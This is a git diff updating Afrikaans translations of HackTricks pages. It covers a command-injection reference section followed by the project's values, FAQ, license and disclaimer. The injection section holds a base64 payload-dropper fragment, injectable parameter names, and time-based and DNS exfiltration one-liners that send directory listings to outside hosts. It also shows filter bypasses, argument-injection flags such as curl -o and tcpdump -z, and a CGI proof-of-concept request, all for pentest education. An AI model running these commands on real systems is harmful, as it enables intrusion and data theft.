PAYLOAD > /tmp/pay.txt; cat /tmp/pay.txt | base64 -d > /tmp/pay; chmod ``` ### Parameters -Hier is die top 25 parameters wat kwesbaar kan wees vir code injection en soortgelyke RCE vulnerabilities (van [link](https://twitter.com/trbughunters/status/1283133356922884096)): +Hier is die top 25 parameters wat kwesbaar kan wees vir code injection en soortgelyke RCE-kwesbaarhede (van [link](https://twitter.com/trbughunters/status/1283133356922884096)): ``` ?cmd={payload} ?exec={payload} @@ -77,7 +76,7 @@ Hier is die top 25 parameters wat kwesbaar kan wees vir code injection en soortg ``` ### Time based data exfiltration -Data onttrekking: karakter vir karakter +Uittrekking van data: char by char ``` swissky@crashlab▸ ~ ▸ $ time if [ $(whoami|cut -c 1) == s ]; then sleep 5; fi real 0m5.007s @@ -89,9 +88,9 @@ real 0m0.002s user 0m0.000s sys 0m0.000s ``` -### DNS-gebaseerde data-ekfiltrasie +### DNS based data exfiltration -Gebaseer op die tool vanaf `https://github.com/HoLyVieR/dnsbin` wat ook gehost word by dnsbin.zhack.ca +Gebaseer op die tool van `https://github.com/HoLyVieR/dnsbin`, ook gehost op dnsbin.zhack.ca ``` 1. Go to http://dnsbin.zhack.ca/ 2. Execute a simple 'ls' @@ -101,12 +100,12 @@ for i in $(ls /) ; do host "$i.3a43c7e4e57a8d0e2057.d.zhack.ca"; done ``` $(host $(wget -h|head -n1|sed 's/[ ,]/-/g'|tr -d '.').sudo.co.il) ``` -Aanlyn gereedskap om vir DNS-gebaseerde data exfiltration te kontroleer: +Aanlyn gereedskap om te kontroleer vir DNS-gebaseerde data exfiltration: - dnsbin.zhack.ca - pingb.in -### Filter-omseiling +### Filtering bypass #### Windows ``` @@ -122,7 +121,7 @@ powershell C:**2\n??e*d.*? # notepad ### Node.js `child_process.exec` vs `execFile` -Wanneer jy JavaScript/TypeScript back-ends oudit, sal jy dikwels die Node.js `child_process` API teëkom. +Wanneer jy JavaScript/TypeScript-back-ends oudit, sal jy dikwels die Node.js `child_process` API teëkom. ```javascript // Vulnerable: user-controlled variables interpolated inside a template string const { exec } = require('child_process'); @@ -130,9 +129,9 @@ exec(`/usr/bin/do-something --id_user ${id_user} --payload '${JSON.stringify(pay /* … */ }); ``` -`exec()` skep 'n **shell** (`/bin/sh -c`), daarom sal enige karakter wat 'n spesiale betekenis vir die shell het (back-ticks, `;`, `&&`, `|`, `$()`, …) lei tot **command injection** wanneer gebruikersinvoer in die string gekonkateneer word. +`exec()` lanceer 'n **shell** (`/bin/sh -c`), daarom sal enige karakter wat 'n spesiale betekenis vir die shell het (back-ticks, `;`, `&&`, `|`, `$()`, …) lei tot **command injection** wanneer gebruikersinvoer aan die string gekonkateneer word. -**Mitigering:** gebruik `execFile()` (of `spawn()` sonder die `shell` opsie) en voorsien **elke argument as 'n aparte array-element** sodat geen shell betrokke is nie: +**Mitigasie:** gebruik `execFile()` (of `spawn()` sonder die `shell` opsie) en voorsien **elke argument as 'n aparte array element** sodat geen shell betrokke is nie: ```javascript const { execFile } = require('child_process'); execFile('/usr/bin/do-something', [ @@ -140,27 +139,27 @@ execFile('/usr/bin/do-something', [ '--payload', JSON.stringify(payload) ]); ``` -Werklike geval: *Synology Photos* ≤ 1.7.0-0794 was exploitable through an unauthenticated WebSocket event that placed attacker controlled data into `id_user` which was later embedded in an `exec()` call, achieving RCE (Pwn2Own Ireland 2024). +Real-world case: *Synology Photos* ≤ 1.7.0-0794 was exploitable through an unauthenticated WebSocket event that placed attacker controlled data into `id_user` which was later embedded in an `exec()` call, achieving RCE (Pwn2Own Ireland 2024). ### Argument/Option injection via leading hyphen (argv, no shell metacharacters) -Nie alle injections vereis shell metacharacters. As die toepassing onbetroubare stringe as argumente aan 'n stelselutility deurgee (selfs met `execve`/`execFile` en geen shell), sal baie programme steeds enige argument wat begin met `-` of `--` as 'n opsie interpreteer. Dit laat 'n aanvaller toe om modi om te skakel, uitvoerpaaie te verander, of gevaarlike gedrag te veroorsaak sonder om ooit in 'n shell in te breek. +Nie alle inspuitings vereis shell-metakarakters nie. As die toepassing onbetroubare strings as argumente aan 'n stelselutility deurgee (selfs met `execve`/`execFile` en sonder 'n shell), sal baie programme nog steeds enige argument wat met `-` of `--` begin as 'n opsie ontleed. Dit laat 'n attacker toe om modes om te skakel, uitvoerpaaie te verander, of gevaarlike gedrag te veroorsaak sonder om ooit in 'n shell in te breek. Tipiese plekke waar dit voorkom: -- Ingebedde web UIs/CGI handlers wat opdragte soos `ping `, `tcpdump -i -w `, `curl `, ens. opbou. -- Gesenraliseerde CGI routers (bv., `/cgi-bin/.cgi` met 'n selector parameter soos `topicurl=`) waar meerdere handlers dieselfde swak validator hergebruik. +- Ingebedde web UIs/CGI-handlers wat opdragte bou soos `ping `, `tcpdump -i -w `, `curl `, ens. +- Gesentraliseerde CGI-routers (bv. `/cgi-bin/.cgi` met 'n selector-parameter soos `topicurl=`) waar verskeie handlers dieselfde swak validering hergebruik. Wat om te probeer: -- Verskaf waardes wat begin met `-`/`--` sodat die downstream tool dit as flags verbruik. +- Gee waardes wat begin met `-`/`--` sodat die downstream tool dit as flags verbruik. - Misbruik flags wat gedrag verander of lêers skryf, byvoorbeeld: - - `ping`: `-f`/`-c 100000` om die toestel te stres (DoS) + - `ping`: `-f`/`-c 100000` om die toestel te belas (DoS) - `curl`: `-o /tmp/x` om arbitrêre paaie te skryf, `-K ` om attacker-controlled config te laai - - `tcpdump`: `-G 1 -W 1 -z /path/script.sh` om post-rotate uitvoering in onveilige wrappers te bewerkstellig -- As die program `--` end-of-options ondersteun, probeer naïewe mitigasies omseil wat `--` op die verkeerde plek byvoeg. + - `tcpdump`: `-G 1 -W 1 -z /path/script.sh` om post-rotate uitvoering in onveilige wrappers te bereik +- As die program `--` as end-of-options ondersteun, probeer om naiewe mitigasies te omseil wat `--` op die verkeerde plek vooraan voeg. -Generic PoC shapes against centralized CGI dispatchers: +Generiese PoC-skemas teen gesentraliseerde CGI-dispatchers: ``` POST /cgi-bin/cstecgi.cgi HTTP/1.1 Content-Type: application/x-www-form-urlencoded diff --git a/src/welcome/hacktricks-values-and-faq.md b/src/welcome/hacktricks-values-and-faq.md index c139413d0..5b5e68675 100644 --- a/src/welcome/hacktricks-values-and-faq.md +++ b/src/welcome/hacktricks-values-and-faq.md @@ -7,15 +7,15 @@ > [!TIP] > Dit is die **waardes van die HackTricks-projek**: > -> - Gee **FREE** toegang tot **EDUCATIONAL hacking** hulpbronne aan **AL** die Internet. -> - Hacking gaan oor leer, en leer moet so vry as moontlik wees. +> - Gee **GRATIS** toegang tot **OPVOEDENDE hacking** hulpbronne aan die **HELE** Internet. +> - Hacking gaan oor leer, en leer moet so vry moontlik wees. > - Die doel van hierdie boek is om te dien as 'n omvattende **opvoedkundige hulpbron**. -> - **STORE** fantastiese **hacking** tegnieke wat die gemeenskap publiseer en die **OORSPRONGLIKE** **AUTEURS** al die **KREDIETE** gee. -> - **Ons wil nie die krediet van ander mense hê nie**, ons wil net interessante truuks vir almal stoor. +> - **BEWAAR** fantastiese **hacking** tegnieke wat die gemeenskap publiseer en gee die **ORIGINELE** **AUTEURS** al die **krediete**. +> - **Ons wil nie die krediet van ander mense hê nie**, ons wil net cool truuks vir almal bewaar. > - Ons skryf ook **ons eie navorsing** in HackTricks. -> - In verskeie gevalle sal ons net **in HackTricks 'n samevatting van die belangrikste dele** van die tegniek skryf en die **leser aanmoedig om die oorspronklike pos te besoek** vir meer besonderhede. -> - **ORGANISEER** al die hacking-tegnieke in die boek sodat dit **MEER TOEGANKLIK** is -> - Die HackTricks-span het duisende ure gratis bestee **slegs om die inhoud te organiseer** sodat mense **vinnig kan leer** +> - In verskeie gevalle sal ons net **'n samevatting van die belangrike dele van die tegniek in HackTricks skryf** en sal die leser **aanmoedig om die oorspronklike pos te besoek** vir meer besonderhede. +> - **ORGANISEER** al die hacking tegnieke in die boek sodat dit **MEER TOEGANKLIK** is +> - Die HackTricks-span het duisende ure vrygewig bestee **slegs om die inhoud te organiseer** sodat mense **vinnig kan leer**
@@ -25,33 +25,33 @@ > > - **Baie dankie vir hierdie hulpbronne, hoe kan ek julle bedank?** -Jy kan publiek die HackTricks-span bedank deur 'n tweet te maak en [**@hacktricks_live**](https://twitter.com/hacktricks_live) te noem.\ -As jy besonder dankbaar is, kan jy ook [**die projek hier borg**](https://github.com/sponsors/carlospolop).\ -En moenie vergeet om **'n ster aan die Github-projekte te gee nie!** (Vind die skakels hieronder). +Jy kan die HackTricks-spanne openbaar bedank vir die samevoeging van al hierdie hulpbronne in 'n tweet waarin [**@hacktricks_live**](https://twitter.com/hacktricks_live) genoem word.\ +As jy besonders dankbaar is, kan jy ook [**borg die projek hier**](https://github.com/sponsors/carlospolop).\ +En moenie vergeet om 'n ster in die Github-projekte te gee nie! (Vind die skakels hieronder). > [!TIP] > -> - **Hoe kan ek bydra tot die projek?** +> - **Hoe kan ek by die projek bydra?** -Jy kan **nuwe tips en truuks met die gemeenskap deel of foutjies regmaak** wat jy in die boeke vind deur 'n **Pull Request** na die toepaslike Github-bladsye te stuur: +Jy kan **nuwe wenke en truuks met die gemeenskap deel of bugs regmaak** wat jy in die boeke vind deur 'n **Pull Request** na die onderskeie Github-bladsye te stuur: - [https://github.com/carlospolop/hacktricks](https://github.com/carlospolop/hacktricks) - [https://github.com/carlospolop/hacktricks-cloud](https://github.com/carlospolop/hacktricks-cloud) -Moenie vergeet om **'n ster aan die Github-projekte te gee nie!** +Moet nie vergeet om 'n ster in die Github-projekte te gee nie! > [!TIP] > > - **Kan ek inhoud van HackTricks kopieer en in my blog plaas?** -Ja, jy mag, maar **moenie vergeet om die spesifieke skakel(s) te noem** waaruit die inhoud gehaal is nie. +Ja, jy kan, maar **moet nie vergeet om die spesifieke skakel(s) te noem** waar die inhoud vandaan geneem is nie. > [!TIP] > -> - **Hoe kan ek na 'n bladsy van HackTricks verwys?** +> - **Hoe kan ek 'n bladsy van HackTricks verwys?** -Solank die skakel **van** die bladsy(e) waaruit jy die inligting geneem het verskyn, is dit genoeg.\ -As jy 'n bibtex benodig, kan jy iets soos die volgende gebruik: +Solank die skakel van die bladsy(e) waaruit jy die inligting geneem het verskyn, is dit genoeg.\ +As jy 'n bibtex nodig het kan jy iets soos gebruik: ```latex @misc{hacktricks-bibtexing, author = {"HackTricks Team" or the Authors name of the specific page/trick}, @@ -62,82 +62,82 @@ url = {\url{https://book.hacktricks.wiki/specific-page}}, ``` > [!WARNING] > -> - **Kan ek alle HackTricks in my blog kopieer?** +> - **Kan ek al die HackTricks in my blog kopieer?** -**Ek sou liewer nie**. Dit sal **niemand bevoordeel nie**, aangesien al die **inhoud reeds gratis in die amptelike HackTricks-boeke openbaar beskikbaar is**. +**Ek sou liewer nie**. Dit **sal niemand bevoordeel nie** aangesien al die **inhoud reeds publiek beskikbaar is** in die amptelike HackTricks-boeke gratis. -As jy vrees dit sal verdwyn, fork dit net op Github of laai dit af — soos ek gesê het, dit is reeds gratis. +As jy vrees dat dit sal verdwyn, fork dit net op Github of laai dit af, soos ek gesê het dit is reeds gratis. > [!WARNING] > > - **Waarom het julle sponsors? Is HackTricks-boeke vir kommersiële doeleindes?** -Die eerste HackTricks **waarde** is om **GRATIS** hacking-opvoedkundige hulpbronne aan **ALMAL** die wêreld te bied. Die HackTricks-span het **duisende ure toegewy** om hierdie inhoud aan te bied, weer, vir **GRATIS**. +Die eerste **HackTricks** **waarde** is om **GRATIS** hacking opvoedkundige hulpbronne aan **AL** die wêreld te bied. Die HackTricks-span het **duisende ure toegewy** om hierdie inhoud te bied, weer, **GRATIS**. -As jy dink HackTricks-boeke is gemaak vir **kommersiёle doeleindes**, jy is **VOLLEDIG VERKEERD**. +As jy dink HackTricks-boeke is gemaak vir **kommersiële doeleindes**, jy is **HELEMAAL VERKEERD**. -Ons het sponsors omdat, selfs al is al die inhoud GRATIS, ons die gemeenskap die moontlikheid wil bied om ons werk te waardeer indien hulle wil. Daarom bied ons mense die opsie om aan HackTricks te skenk via [**Github sponsors**](https://github.com/sponsors/carlospolop), en om **relevante kuberveiligheidsmaatskappye** HackTricks te laat borg en om **advertensies** in die boek te hê, met die **advertensies** altyd geplaas op plekke waar dit **sigbaar** is maar nie die leerproses steur as iemand op die inhoud fokus nie. +Ons het sponsors omdat, selfs al is al die inhoud GRATIS, ons die gemeenskap die moontlikheid wil bied om ons werk te waardeer as hulle wil. Daarom bied ons mense die opsie om aan HackTricks te skenk via [**Github sponsors**](https://github.com/sponsors/carlospolop), en vir **relevante kuberveiligheidsmaatskappye** om HackTricks te borg en om **advertensies** in die boek te hê, met die **advertensies** altyd geplaas op plekke wat hulle **sigbaar** maak maar die **leerproses** nie steur as iemand op die inhoud fokus nie. -Jy sal nie HackTricks gevul vind met irriterende advertensies soos ander blogs met baie minder inhoud as HackTricks nie, omdat HackTricks nie vir kommersiële doeleindes gemaak is nie. +Jy sal nie HackTricks gevul met irritante advertensies vind soos ander blogs met baie minder inhoud as HackTricks nie, want HackTricks is nie vir kommersiële doeleindes geskep nie. > [!CAUTION] > -> - **Wat moet ek doen as 'n HackTricks-blad gebaseer is op my blogpos maar dit nie verwys is nie?** +> - **Wat moet ek doen as 'n HackTricks-bladsy gebaseer is op my blogpos maar dit nie verwys is nie?** -**Ons is baie jammer. Dit sou nie moes gebeur nie**. Laat weet ons asseblief via Github issues, Twitter, Discord... die skakel van die HackTricks-blad met die inhoud en die skakel na jou blog en **ons sal dit nagaan en dit so gou as moontlik byvoeg**. +**Ons is baie jammer. Dit moes nie gebeur het nie**. Laat weet ons asseblief via Github issues, Twitter, Discord... die skakel van die HackTricks-bladsy met die inhoud en die skakel van jou blog en **ons sal dit nagaan en dit so gou moontlik byvoeg**. > [!CAUTION] > > - **Wat moet ek doen as daar inhoud van my blog in HackTricks is en ek dit nie daar wil hê nie?** -Let wel dat om skakels na jou blad in HackTricks te hê: +Let daarop dat om skakels na jou bladsy in HackTricks te hê: - Verbeter jou **SEO** -- Die inhoud word **in meer as 15 tale vertaal**, wat dit moontlik maak vir meer mense om toegang tot hierdie inhoud te kry -- **HackTricks moedig** mense aan om **jou blad te besoek** (verskeie mense het vir ons gesê dat sedert 'n blad van hulle in HackTricks verskyn het, hulle meer besoeke ontvang) +- Die inhoud word **na meer as 15 tale vertaal**, wat dit moontlik maak dat meer mense toegang tot hierdie inhoud kry +- **HackTricks moedig** mense aan om **jou bladsy te besoek** (verskeie mense het vir ons gesê dat sedert 'n bladsy van hulle in HackTricks is, hulle meer besoeke ontvang) -Egter, as jy steeds wil hê die inhoud van jou blog moet uit HackTricks verwyder word, laat weet ons net en ons sal beslis **elke skakel na jou blog verwyder**, en enige inhoud wat daarop gebaseer is. +As jy egter steeds wil hê dat die inhoud van jou blog uit HackTricks verwyder moet word, laat weet ons en ons sal beslis **elke skakel na jou blog verwyder**, en enige inhoud wat daarop gebaseer is. > [!CAUTION] > -> - **Wat moet ek doen as ek gekopieër- en geplakte inhoud in HackTricks vind?** +> - **Wat moet ek doen as ek gekopieerde inhoud in HackTricks vind?** -Ons gee altyd **die oorspronklike outeurs alle eer**. As jy 'n blad vind met gekopieër- en geplakte inhoud sonder die oorspronklike bronverwysing, laat weet ons en ons sal óf **dit verwyder**, óf **die skakel voor die teks voeg**, of **dit herskryf en die skakel byvoeg**. +Ons gee altyd **die oorspronklike outeurs al die krediet**. As jy 'n bladsy vind met gekopieerde inhoud sonder dat die oorspronklike bron verwys is, laat weet ons en ons sal óf **dit verwyder**, óf **die skakel voor die teks voeg**, óf **dit herskryf en die skakel byvoeg**. ## LISENSIE -Kopiereg © Alle regte voorbehou tensy anders gespesifiseer. +Copyright © All rights reserved unless otherwise specified. #### Lisensie Opsomming: -- Toeskrywing: Jy is vry om: +- Atribusie: Jy is vry om: - Deel — kopieer en herverdeel die materiaal in enige medium of formaat. -- Aanpas — remiks, transformeer, en bou voort op die materiaal. +- Aanpas — herskryf, transformeer en bou voort op die materiaal. -#### Addisionele Bepalings: +#### Aanvullende Voorwaardes: -- Derdeparty-inhoud: Sommige gedeeltes van hierdie blog/boek mag inhoud van ander bronne insluit, soos uittreksels van ander blogs of publikasies. Die gebruik van sodanige inhoud word gedoen onder die beginsels van billike gebruik of met uitdruklike toestemming van die toepaslike kopiereghouers. Raadpleeg asseblief die oorspronklike bronne vir spesifieke lisensie-inligting rakende derdeparty-inhoud. -- Outeurskap: Die oorspronklike inhoud wat deur HackTricks geskryf is, val onder die bepalings van hierdie lisensie. Jy word aangemoedig om hierdie werk aan die outeur toe te skryf wanneer jy dit deel of aanpas. +- Derdeparty-inhoud: Sommige dele van hierdie blog/boek mag inhoud van ander bronne insluit, soos uittreksels uit ander blogs of publikasies. Die gebruik van sodanige inhoud geskied onder die beginsels van billike gebruik of met uitdruklike toestemming van die ooreenstemmende kopiereghouers. Raadpleeg asseblief die oorspronklike bronne vir spesifieke lisensie-inligting oor derdeparty-inhoud. +- Auteurskap: Die oorspronklike inhoud geskryf deur HackTricks val onder die bepalings van hierdie lisensie. Jy word aangemoedig om hierdie werk aan die skrywer toe te skryf wanneer jy dit deel of aanpas. #### Uitsonderings: -- Kommersiële gebruik: Vir navrae oor kommersiële gebruik van hierdie inhoud, kontak my asseblief. +- Kommersiële gebruik: Vir navrae rakende kommersiële gebruik van hierdie inhoud, kontak my asseblief. -Hierdie lisensie verleen geen handelsmerk- of handelsnaamregte in verband met die inhoud nie. Alle handelsmerke en handelsname wat in hierdie blog/boek voorkom, is die eiendom van hul onderskeie eienaars. +Hierdie lisensie verleen geen handelsmerk- of handelsnaamregte met betrekking tot die inhoud nie. Alle handelsmerke en handelsnaam wat in hierdie blog/boek verskyn, is die eiendom van hul onderskeie eienaars. -**Deur toegang te verkry tot of HackTricks te gebruik, stem jy daartoe in om die bepalings van hierdie lisensie na te kom. As jy nie met hierdie bepalings saamstem nie, moenie hierdie webwerf besoek nie.** +**Deur HackTricks te besoek of te gebruik, stem jy in om die bepalings van hierdie lisensie na te kom. As jy nie met hierdie bepalings saamstem nie, besoek asseblief nie hierdie webwerf nie.** ## **Vrywaring** > [!CAUTION] -> Hierdie boek, 'HackTricks,' is slegs bedoel vir opvoedkundige en inligtingsdoeleindes. Die inhoud binne hierdie boek word aangebied op 'soos dit is' grondslag, en die outeurs en uitgewers gee geen voorstellings of waarborge van enige aard nie, uitdruklik of geïmpliseer, oor die volledigheid, akkuraatheid, betroubaarheid, geskiktheid, of beskikbaarheid van die inligting, produkte, dienste, of verwante grafika in hierdie boek. Enige vertroue wat jy in sodanige inligting plaas, is dus streng op jou eie risiko. +> Hierdie boek, 'HackTricks,' is slegs bedoel vir opvoedkundige en inligtingsdoeleindes. Die inhoud in hierdie boek word op 'soos dit is'-grondslag aangebied, en die outeurs en uitgewers maak geen verklarings of waarborge van enige aard, uitdruklik of geïmpliseer, oor die volledigheid, akkuraatheid, betroubaarheid, geskiktheid of beskikbaarheid van die inligting, produkte, dienste of verwante grafika in hierdie boek nie. Enige vertroue wat jy in sodanige inligting plaas, is dus op jou eie risiko. > -> Die outeurs en uitgewers sal in geen geval aanspreeklik wees vir enige verlies of skade nie, insluitend, sonder beperking, indirekte of gevolglike verlies of skade, of enige verlies of skade wat voortspruit uit data- of winsverliese wat uit die gebruik van hierdie boek voortspruit of daarmee in verband staan. +> Die outeurs en uitgewers sal in geen geval aanspreeklik wees vir enige verlies of skade nie, insluitend maar nie beperk nie tot indirekte of gevolglike verlies of skade, of enige verlies of skade wat voortspruit uit verlies van data of winste wat voortspruit uit, of in verband met, die gebruik van hierdie boek. > -> Verder word die tegnieke en wenke in hierdie boek beskryf slegs vir opvoedkundige en inligtingsdoeleindes aangebied, en behoort nie gebruik te word vir onwettige of kwaaddadige aktiwiteite nie. Die outeurs en uitgewers keur geen onwettige of onetiese aktiwiteite goed en ondersteun dit nie, en enige gebruik van die inligting binne hierdie boek is op die gebruiker se eie risiko en diskresie. +> Verder word die tegnieke en wenke wat in hierdie boek beskryf word slegs vir opvoedkundige en inligtingsdoeleindes verskaf, en moet nie vir enige onwettige of kwaadwillige aktiwiteite gebruik word nie. Die outeurs en uitgewers goedkeur of ondersteun geen onwettige of onetiese aktiwiteite nie, en enige gebruik van die inligting in hierdie boek is op die gebruiker se eie risiko en diskresie. > -> Die gebruiker is uitsluitlik verantwoordelik vir enige optrede wat gebaseer is op die inligting in hierdie boek, en moet altyd professionele advies en hulp soek wanneer hy probeer om enige van die tegnieke of wenke hier beskryf te implementeer. +> Die gebruiker is uitsluitlik verantwoordelik vir enige optrede wat gebaseer is op die inligting in hierdie boek, en moet altyd professionele advies en hulp soek wanneer hulle probeer om enige van die tegnieke of wenke hierin te implementeer. > -> Deur hierdie boek te gebruik, stem die gebruiker daartoe in om die outeurs en uitgewers vry te stel van enige en alle aanspreeklikheid en verantwoordelikheid vir enige skade, verliese of nadele wat mag voortspruit uit die gebruik van hierdie boek of enige van die inligting daarin vervat. +> Deur hierdie boek te gebruik, stem die gebruiker in om die outeurs en uitgewers te vrywaar van enige en alle aanspreeklikheid en verantwoordelikheid vir enige skade, verliese of nadeel wat mag voortspruit uit die gebruik van hierdie boek of enige van die inligting daarin. {{#include ../banners/hacktricks-training.md}}